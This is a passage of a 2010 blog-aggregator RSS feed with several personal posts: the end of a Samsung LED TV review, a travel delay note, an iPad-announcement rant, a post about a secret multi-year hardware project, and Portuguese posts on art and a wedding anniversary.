&lt;li&gt;A friend that owns this TV claimed the (very expensive) Samsung USB WiFi  accessory for this TV can’t connect to his WPA secured wireless  network, only week WEP encrypted networks.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It has some good points too, but again, the limitations above currently stop me from buying this LED TV:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Slim, nice, beautiful menus, integrated remote control.&lt;/li&gt;
&lt;li&gt;Plays general simple MKV full HD movie files with high profile &lt;a href=&quot;http://en.wikipedia.org/wiki/H.264/MPEG-4_AVC&quot;&gt;H.264&lt;/a&gt; compression.&lt;/li&gt;
&lt;li&gt;As a DLNA/UPnP client, this TV works very nicely and immediately recognized and played streamed content from a Windows Media Player shared library (its a UPnP server underneath) I configured in 5 minutes on my laptop. Although I found it a a bit slow to browse the library, even connected with an ethernet cable.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I was ready to buy this piece of digital integration but left the store a bit disappointed. But I’ll keep watching their product line and hope Samsung will improve their Linux-based firmware.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;small&gt;© Avi for &lt;a href=&quot;http://avi.alkalay.net&quot;&gt;Avi Alkalay&lt;/a&gt;, 2010. |
&lt;a href=&quot;http://avi.alkalay.net/2010/01/samsung-led-tv-with-media-20-is-not-ready-for-me.html&quot;&gt;Permalink&lt;/a&gt; |
&lt;a href=&quot;http://avi.alkalay.net/2010/01/samsung-led-tv-with-media-20-is-not-ready-for-me.html#comments&quot;&gt;One comment&lt;/a&gt; |
reactions to by &lt;a href=&quot;http://www.google.com/blogsearch?hl=en&amp;amp;q=http://avi.alkalay.net/2010/01/samsung-led-tv-with-media-20-is-not-ready-for-me.html&quot; title=&quot;Linking blogs to this article, on Google&quot;&gt;Google&lt;/a&gt; and &lt;a href=&quot;http://www.technorati.com/search/http://avi.alkalay.net/2010/01/samsung-led-tv-with-media-20-is-not-ready-for-me.html&quot; title=&quot;Linking blogs to this article, on Technorati&quot;&gt;Technorati&lt;/a&gt; |
Add to
&lt;a href=&quot;http://del.icio.us/post?url=http://avi.alkalay.net/2010/01/samsung-led-tv-with-media-20-is-not-ready-for-me.html&amp;amp;title=Samsung LED TV with Medi@ 2.0 is not ready for me&quot;&gt;del.icio.us&lt;/a&gt;&lt;br /&gt;
Classified by author as: &lt;a href=&quot;http://avi.alkalay.net/cat/ict/multimedia&quot; rel=&quot;category tag&quot; title=&quot;View all posts in Multimedia&quot;&gt;Multimedia&lt;/a&gt;&lt;br /&gt;
Tagged by author with: &lt;br /&gt;
&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;&lt;small&gt;Feed enhanced by &lt;a href=&quot;http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/&quot;&gt;Better Feed&lt;/a&gt; from  &lt;a href=&quot;http://planetozh.com/blog/&quot;&gt;Ozh&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;</description>
	<pubDate>Thu, 28 Jan 2010 21:18:49 +0000</pubDate>
</item>
<item>
	<title>Acoster: Delayed update</title>
	<guid>http://coster.wait4.org/?p=20</guid>
	<link>http://coster.wait4.org/blog/2010/01/delayed-updated/</link>
	<description>&lt;p&gt;So turns out that thanks to El Al, I’ve had to change my return ticket to January 30, instead of January 23. Of course, I’m terribly sad I’ve had to extend my vacations.&lt;/p&gt;
&lt;p&gt;I’ll just be able to post my pictures online when I return home, since I don’t want to clog up my uncle’s connection, but some pictures from the first 10 days with Taglit can be found &lt;a href=&quot;http://www.facebook.com/album.php?aid=182743&amp;amp;id=571855375&amp;amp;l=e2ca87fdaa&quot; title=&quot;Israel 2010&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Later on I’ll write something more detailed about the whole trip.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/-VbU9RSFnmFFEO5xTrjlQ9kYFOc/0/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/-VbU9RSFnmFFEO5xTrjlQ9kYFOc/0/di&quot; border=&quot;0&quot; ismap=&quot;true&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/-VbU9RSFnmFFEO5xTrjlQ9kYFOc/1/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/-VbU9RSFnmFFEO5xTrjlQ9kYFOc/1/di&quot; border=&quot;0&quot; ismap=&quot;true&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~ff/acoster?a=nBZeM05FSQ8:j5HWxNXVRyo:D7DqB2pKExk&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~ff/acoster?i=nBZeM05FSQ8:j5HWxNXVRyo:D7DqB2pKExk&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src=&quot;http://feeds.feedburner.com/~r/acoster/~4/nBZeM05FSQ8&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
	<pubDate>Thu, 28 Jan 2010 07:49:17 +0000</pubDate>
</item>
<item>
	<title>Epx: A arte do dia</title>
	<guid>tag:blogger.com,1999:blog-20994619.post-5383969188247422996</guid>
	<link>http://casagrande.epx.com.br/2010/01/arte-do-dia.html</link>
	<description>&lt;a href=&quot;http://www.epx.com.br/personal_blog/uploaded_images/eee1-789200.jpg&quot;&gt;&lt;img src=&quot;http://www.epx.com.br/personal_blog/uploaded_images/eee1-789197.jpg&quot; alt=&quot;&quot; border=&quot;0&quot; style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 280px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;Quem sabe a próxima geração já prefira usar iPads rodando Brushes? (Supondo sejam inquebráveis até lá.)&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/tracker/20994619-5383969188247422996?l=casagrande.epx.com.br&quot; alt=&quot;&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&lt;/div&gt;</description>
	<pubDate>Thu, 28 Jan 2010 05:22:22 +0000</pubDate>
</item>
<item>
	<title>Roberto Teixeira: And Apple finally did it</title>
	<guid>http://robteix.com/2010/01/27/and-apple-finally-did-it/</guid>
	<link>http://feedproxy.google.com/~r/RobertoTeixeira/~3/r9GPz8Z-WDA/</link>
	<description>&lt;p&gt;&lt;img src=&quot;http://robteix.com/wp-content/uploads/2010/01/image_thumb1.png&quot; style=&quot;border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; margin-left: 0px; border-left-width: 0px; margin-right: 0px;&quot; title=&quot;image&quot; align=&quot;right&quot; height=&quot;240&quot; width=&quot;218&quot; alt=&quot;image&quot; border=&quot;0&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;That’s it!&lt;/em&gt; The day we’ve all been waiting for finally arrived. The hype was really, well, hypey. I actually read somewhere a guy saying that this would be a day he’d be able to talk about with his grand-kids one day. &lt;i&gt;What. The. Fuck. People!&lt;/i&gt; Seriously?&lt;/p&gt;
&lt;p&gt;Now to be honest I was a bit hopeful, too. I mean, since that wonderful iPhone announcement a few years ago, we’re always kind of waiting for when Apple is going to do its thing again. You know, &lt;i&gt;change the friggin’ world!&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;As it turned out, it &lt;i&gt;was&lt;/i&gt; a historic announcement, just not the way people expected it to be. It was history because Apple finally did it: &lt;i&gt;it disappointed&lt;/i&gt;.&lt;/p&gt;
&lt;p&gt;I’m not saying the iPad – &lt;i&gt;dude! iPad? Really, Steve?&lt;/i&gt; — anyway, I’m not saying the iPad is bad in and on itself. It’s a nice device. It’s just not what I was expecting. I was expecting to see something &lt;i&gt;revolutionary&lt;/i&gt; and that the iPad is not. It is essentially a big iPod touch. &lt;i&gt;It. Doesn’t. Even. Cure. Cancer!&lt;/i&gt; &lt;/p&gt;
&lt;p&gt;I confess I was a lot more interested in an update to the iPhone OS and a new iLife that whatever tablet Apple was going to announce. I intentionally decided not to buy into the whole hype of the &quot;iSlate.&quot; I thought it was going to be cool but unaffordable, which it turned out to be. I mean, $500 for an iPod touch? And the 3G model that’s essencially an iPhone without the phone? &lt;i&gt;It’s $829 for an i!&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;With nothing new for the iPhone and no new iLife, the whole announcement was a non-event, which means it was a disappointment. A utter &lt;i&gt;meh&lt;/i&gt;.&lt;/p&gt;
&lt;p&gt;#apple #fail&lt;/p&gt;
&lt;p&gt;Move along, fanbois, nothing to see here.&lt;/p&gt;
&lt;img src=&quot;http://feeds.feedburner.com/~r/Robteix/~4/8xM6W_oYrR8&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;
&lt;p&gt;&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/q6mAclbOHjxf6nxXBUswEmLRX9k/0/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/q6mAclbOHjxf6nxXBUswEmLRX9k/0/di&quot; border=&quot;0&quot; ismap=&quot;true&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/q6mAclbOHjxf6nxXBUswEmLRX9k/1/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/q6mAclbOHjxf6nxXBUswEmLRX9k/1/di&quot; border=&quot;0&quot; ismap=&quot;true&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src=&quot;http://feeds.feedburner.com/~r/RobertoTeixeira/~4/r9GPz8Z-WDA&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
	<pubDate>Wed, 27 Jan 2010 23:50:53 +0000</pubDate>
</item>
<item>
	<title>Roberto Teixeira: Suquia Creek</title>
	<guid>http://robteix.com/2010/01/27/suquia-creek/</guid>
	<link>http://feedproxy.google.com/~r/RobertoTeixeira/~3/CDb9JKzMuzo/</link>
	<description>&lt;p&gt;&lt;a href=&quot;http://robteix.com/wp-content/uploads/2010/01/image.png&quot;&gt;&lt;img src=&quot;http://robteix.com/wp-content/uploads/2010/01/image_thumb.png&quot; style=&quot;border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; margin-left: 0px; border-left-width: 0px; margin-right: 0px;&quot; title=&quot;image&quot; align=&quot;right&quot; height=&quot;240&quot; width=&quot;158&quot; alt=&quot;image&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;Things are starting to get busier on my new project. It is, alas, still listed as Restricted Secret, which means I cannot really talk about its details. Nor could I even reveal its codename, even though codenames reveal nothing about what a project really is. For the sake of making referring to it slightly less annoying for me, I’ll refer to it using a made-up codename in the best traditions of the company’s history of naming things for lakes, peaks, creeks, and towns. So the secret project shall henceforth be known as &lt;strong&gt;Suquia Creek&lt;/strong&gt; (being the creek across from my house.)&lt;/p&gt;
&lt;p&gt;Since I cannot give any details on Suquia Creek, what could I possibly talk about? A lot, it turns out. I can talk about things I’m learning while working on the project.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Ah boy, am I learning!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;It turns out Suquia Creek is going to be the longest, most complex project I’ve worked on. Until SC came along, the longest project of my life had been Lava Peak, which ran for about two years. But that included post-launch activities. We managed to go from ideation to shipping in just under a quarter (I even won an award because of that back in 2007.) Suquia Creek, on the other hand, is scheduled to ship in 2014! That’s nearly half a decade of work.&lt;/p&gt;
&lt;p&gt;As well, for earlier projects I only had to worry about software. Suquia Creek, however, is also hardware. And on the software side, off the top of my head, it involves –&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Processor µcode &lt;/li&gt;
&lt;li&gt;Chipset code &lt;/li&gt;
&lt;li&gt;BIOS extensions &lt;/li&gt;
&lt;li&gt;Firmware code &lt;/li&gt;
&lt;li&gt;Drivers &lt;/li&gt;
&lt;li&gt;An SDK &lt;/li&gt;
&lt;li&gt;User-level apps &lt;/li&gt;
&lt;li&gt;And a few other things I can’t say without revealing more than I should. &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bottom line: it’s huge as far as I’m concerned! And we should support multiple versions of Windows and one distro release of Linux. It also involves several cross-functional, geographically-dispersed teams based mainly in Argentina and the US, but also with some smaller efforts coming out of China, India, and Israel. That amounts to six different timezones, for a current maximum time difference of 17 hours.&lt;/p&gt;
&lt;p&gt;And then we come back to schedule. I have no idea what I’ll be doing at home during this weekend, but I have to have a rough idea of what we’ll be delivering on, say, week 41 of 2013! &lt;em&gt;That assumes the world will not end in 2012, of course&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This week we had our first engineering meeting to plan on a tentative schedule. Late next month I’ll be flying around between Silicon Valley and Silicon Forest to work out the (semi-)hard schedule. By then, we’ll actually have one internal alpha release in place already. After that, we’ll have another alpha before our first “release”, an internal proof of concept, which will then be used by customer as part of a (quasi-confidential) pilot. The customer? One of the world’s largest… well, can’t say what is their industry yet. It’s huge though.&lt;/p&gt;
&lt;p&gt;After that pilot I expect to be able to open up a bit on what the project actually does. In the meantime, I’m going to be sharing my learning experience.&lt;/p&gt;
&lt;p&gt;It’s going to be an exciting half-decade for me &lt;img src=&quot;http://robteix.com/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:-)&quot; class=&quot;wp-smiley&quot; /&gt; &lt;/p&gt;
&lt;img src=&quot;http://feeds.feedburner.com/~r/Robteix/~4/ds7NdwncWZs&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;
&lt;p&gt;&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/807Yf0rV8l5LZF14TPuzpqkvAao/0/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/807Yf0rV8l5LZF14TPuzpqkvAao/0/di&quot; border=&quot;0&quot; ismap=&quot;true&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/807Yf0rV8l5LZF14TPuzpqkvAao/1/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/807Yf0rV8l5LZF14TPuzpqkvAao/1/di&quot; border=&quot;0&quot; ismap=&quot;true&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src=&quot;http://feeds.feedburner.com/~r/RobertoTeixeira/~4/CDb9JKzMuzo&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
	<pubDate>Wed, 27 Jan 2010 17:49:56 +0000</pubDate>
</item>
<item>
	<title>Renata: Três e Dez</title>
	<guid>http://renata.org/?p=1193</guid>
	<link>http://renata.org/post/tres-e-dez/</link>
	<description>&lt;p&gt;Hoje é meu terceiro aniversário de casamento. Na época eu disse que tinha motivos pra me casar, e ontem à noite eu finalmente peguei meu motivo de me casar: eu e Fabio conseguimos nossos vistos de imigrantes canadenses. Eu disse que 2010 ia ser um ano incrível. &lt;/p&gt;
&lt;p&gt;Gostaria, no entanto, de dizer apenas que embora casada há “só” três anos, amanhã completamos DEZ ANOS juntos. Isso é UM TERÇO da minha vida. E foram dez anos muito felizes. Quero mais dez anos felizes assim. &lt;/p&gt;
&lt;p&gt;Feliz Aniversário, Fabio. &lt;a href=&quot;http://blip.fm/~jurnp&quot;&gt;Everything Will Change&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;:*******&lt;/p&gt;
&lt;p&gt;Update: Para quem perguntou como eu consegui o visto, eu fiz o processo federal de skilled worker. As regras mudaram da época do meu processo pra cá, então, melhor consultar o &lt;a href=&quot;http://www.cic.gc.ca/english/immigrate/index.asp&quot;&gt;Site da Imigração para o Canadá&lt;/a&gt;. &lt;/p&gt;</description>
	<pubDate>Wed, 27 Jan 2010 12:10:41 +0000</pubDate>
</item>

</channel>
</rss>
